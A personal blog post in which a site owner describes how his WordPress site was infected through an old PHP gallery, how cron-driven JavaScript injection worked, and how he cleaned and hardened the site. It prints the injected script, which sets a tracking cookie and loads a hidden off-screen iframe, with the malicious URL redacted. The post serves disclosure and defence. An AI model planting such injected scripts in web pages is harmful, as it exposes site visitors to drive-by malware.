Fall in September
If you’re an inhabitant of the Northern Hemisphere, a ‘Fall in September‘ is an entirely normal occurrence. In fact, it’s probably means that my title is incredibly mundane to the majority of my international audience. However, here in Australia, an Autumn in September would be a rather strange climatic event. One that would certainly boost the intrigue of my title on a national level. I think I can live with that.
Then again, perhaps this strange climatic event is why I was caught off-guard when my website was infected with malware last weekend; I didn’t expect a Fall, during Spring.
Just when I thought I already had way too much to do…
THE HACK
Last weekend, (coincidentally the beginning of Fall) someone gained access to my site through the use of PHP injection. By exploiting a vulnerability in an old PHP Gallery I installed a number of years ago they were able to create a series of malicious files throughout the website’s filesystem; randomly-named ‘.php’ files that harboured base64 code (usually used by malware to execute commands in a hidden manner).
Then they set up a cron job (an automatic task) to periodically add malicious code to every JavaScript file on the website. For the non-tech-savy, JavaScript is used in a multitude of interactive website elements and controls. The post slider on the front page, the comment section and the ‘lightbox’, used for viewing images when you click on them, are examples of things on my website that use JavaScript. Every single JavaScript file on my site had been injected with code that would secretly open a website off-screen, which I suspect was intended to download malware onto the computers of my website’s visitors. It also installs a tracking cookie with the name ‘lirmanusik.’
http://a87dh.benaball.com/fh3s98.html
– Example of what the malware addresses sort-of looked like
The web addresses that appeared within this code were always changing. It would always follow the same structure, a random sub domain (http://something.), the web address (benaball.com/) and then a random html file at the end (randomfile.html).
What is even more concerning is that the sites that would appear to be legitimate ones. Of the sites that appeared among my Javascript files, one was a Photography site, the other was for Swedish Cuisine, and when I did a Google search for of one of these two sites, Google’s Blacklist indicated that “The site may be hacked.” It could be that my site was among those that came up as a link in someone else’s hacked JavaScript files during the time that my site was compromised. Though I doubt it. As creating sub domain would require DNS access (web-address-stuff), which is much higher than what the intruders of my site would have had.
I am still unsure as to whether the cron-job was responsible for choosing when to regenerate the code and change the address or whether hackers/bots used the Base64 php files control the code externally.
THE CODE
01. /*
02. Copyright (C) 2007 Free Software Foundation, Inc. http://fsf.org/
03. */
04. function Art_protection() {
05. function setCookie(name, value, expires) {
06. var date = new Date( new Date().getTime() + expires*1000 );
07. document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
08. }
09. function takeOrlondo(name) {
10. var nachos = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, '\$1') + "=([^;]*)" ));
11. return nachos ? decodeURIComponent(nachos[1]) : undefined;
12. }
13. var cookie = takeOrlondo('lirmanusik');
14. if (cookie == undefined) {
15. setCookie('lirmanusik', true, 259200);
16. document.write('{iframe} style="top: -999px; left: -999px; position: absolute;" src="dangerous virus link" width="131" height="131"{/iframe}');
17. }
18. }
19. Art_protection();
The code itself gets into the gritty stuff at line 13; where it creates a variable named ‘cookie,’ and uses the ‘takeOrlondo‘ function on line 9 to find the ‘lirmanusik‘ cookie and it’s value using a comedically-named ‘nachos’ variable along with the ‘RegExp()‘ function on line 10. If the cookie isn’t installed, or has no value, it will return an ‘undefined‘ value. The ‘cookie‘ variable on line 13 is set to the output of ‘takeOrlondo.’ At line 14 the code checks to see what the value of ‘cookie’ is, and if it hasn’t been set, it creates the cookie. On line 15 information is provided to the ‘setCookie‘ function, the name of the cookie, ‘lirmanusik,‘ whether or not it stores data on the computer, true, and when it expires, ‘259200’. This information is then in putted into the ‘setCookie‘ function on line 4, which officially creates the cookie using ‘document.cookie.‘ Even though the expiry date of the cookie may appear large due to all the digits… the cookie in reality expires in about 3 days after the expiry number is converted from Unix time to a time string.
Now that the cookie is set, the ‘document.write‘ function on line 16 gets naughty, using an iframe that is positioned out of view of the web browser (and web readers) a malicious website is loaded. This web address changes constantly, because it is being updated by the cron job I mentioned earlier. I also suspect that the base64 code within the PHP files are being used by hackers to tell my website which dodgy virus link to display next – mainly because my access logs show that people are constantly trying to access those files, even though they’ve been deleted. Chances are it’s not even people doing this, just an automated hacking system designed with “being a prick in” mind.I of course will investigate this reasoning further if time allows.
THE SOLUTION
I was first notified of my website’s new-found malware-spreading hobby by Google, who sent me an email alerting me of the injected code. I immediately closed the site down with a ‘ZOMBIE-STYLE QUARANTINE’ page being shown to all visitors from that point on, and then I dove into discovering how and where the injection occurred.
Among my first attempts to clean the site was to delete the code that was appearing in my JavaScript files, but this code would reappear after a few minutes due to the cron-job. (or the hacker-bots sending commands through the Base64 php files) I then discovered the injected php files after contacting my hosting provider, Digital Pacific (Really fantastic company by the way) who provided me with a list of suspect files. The list is incredibly long.
Combined with my access logs, I could see a timeline of how my site was compromised, and I decided that the most reliable way of fixing my site… was to delete it.
- To start with I backed up the entire contents of my site… and then deleted everything. SQL tables, php files, WordPress, the lovely php Gallery that caused all the grief – the lot. My server was clean.
- Then I reinstalled WordPress from scratch and made sure it’s SQL settings were different to what they were before, just in case the intruders had been able to access ‘wp-config.php‘ when my site was compromised and read the SQL password that WordPress uses to manage content on the site.
- Using the WordPress Codex’s ‘Hardening WordPress’ resource, among others, I went through tightening up security. I also rewrote my ‘.htacess‘ file to make things even more difficult.
- I then reinstalled my content, users, posts, pages from the backup I made, and started installing some of the plugins I had before, this time however, carefully checking each one to ensure that the developers were experienced and trustworthy.
- Opened the site back up, with a few added security plugins, ready to take on the world.
Other than having a few issues with CloudFlare caching the infected JavaScript files to visitors even after I cleared the cache, everything is working… probably better… than it used to.
WHAT YOU SHOULD DO
- If you are a regular viewer of Ben-A-Ball, or a visitor that stumbled across the site by accident during the last few weeks, I would recommend that you look for, and delete, the ‘lirmanusik‘ cookie from your browser, and run an anti-virus check.
- If you use the same password on every website you visit, then you should probably change it on those other sites. Like… right now.
- If you have your own php-based website, check it. Check it again, and keep checking. Lock that thing down and keep an eye on who accesses it, because all it takes is one file to be exploited for your website to start serving up viruses to it’s readers.
DID THEY GET ANY PERSONAL DATA?
As far as I’m aware. No.
If they did they would only have the email address and encrypted passwords of everyone on the website. The code and logs I’ve seen, (plus the various bots trying to break into my website by entering ‘admin’ as the username… that’s not my username) indicate that no user data was accessed.
However, this is only the code on my website. The websites the iframes were embedding in my site are something I’m not entirely sure about. Even though I did a fair amount of experimentation using VirtualBox visiting my malware-infected website to TRY and get the virus, I never was able to. I’m not sure what the deal is with the sites there were linking to, but the fact that they are changed regularly would suggest that the sites aren’t online for very long – and perhaps the time span when you can get infected is right at the beginning of the ‘new malware address’ being posted.
SUMMARY
All in all, I really wish that the hacking could have happened at a later date when I didn’t have so much on… then again… I guess it ignited some blogging passion if chose to write this post. Far out so many words, I wish my English and Legal essays would flow from my mind this quickly. As a personal post this was very bland, I feel that it’s empty and doesn’t really express my thoughts very well… but hopefully it will prove useful to others that are experiencing the same issues with JavaScript and PHP Injection Hacking on WordPress.
So should I sit back and relax? Job well done? Eh… maybe. I’ll most definitely be keeping a close eye on things from this point onwards. The hackers/bots/people/dogs are still out there, and my logs show them walking around outside, checking every door and window trying to find another weak spot. It’s something I never really paid much attention to before, but since I started writing this post, 30 people/bots have tried logging into the admin panel using my username and 15 people/bots have tried accessing and issuing commands to the php malware files that no longer exist. Countries like the United States, Norway, China, Russia and the United Kingdom keep appearing on my list as the main culprits… but this is based the often unreliable tracing of an IP address location.
Love the internet.
*Sigh*
Ben,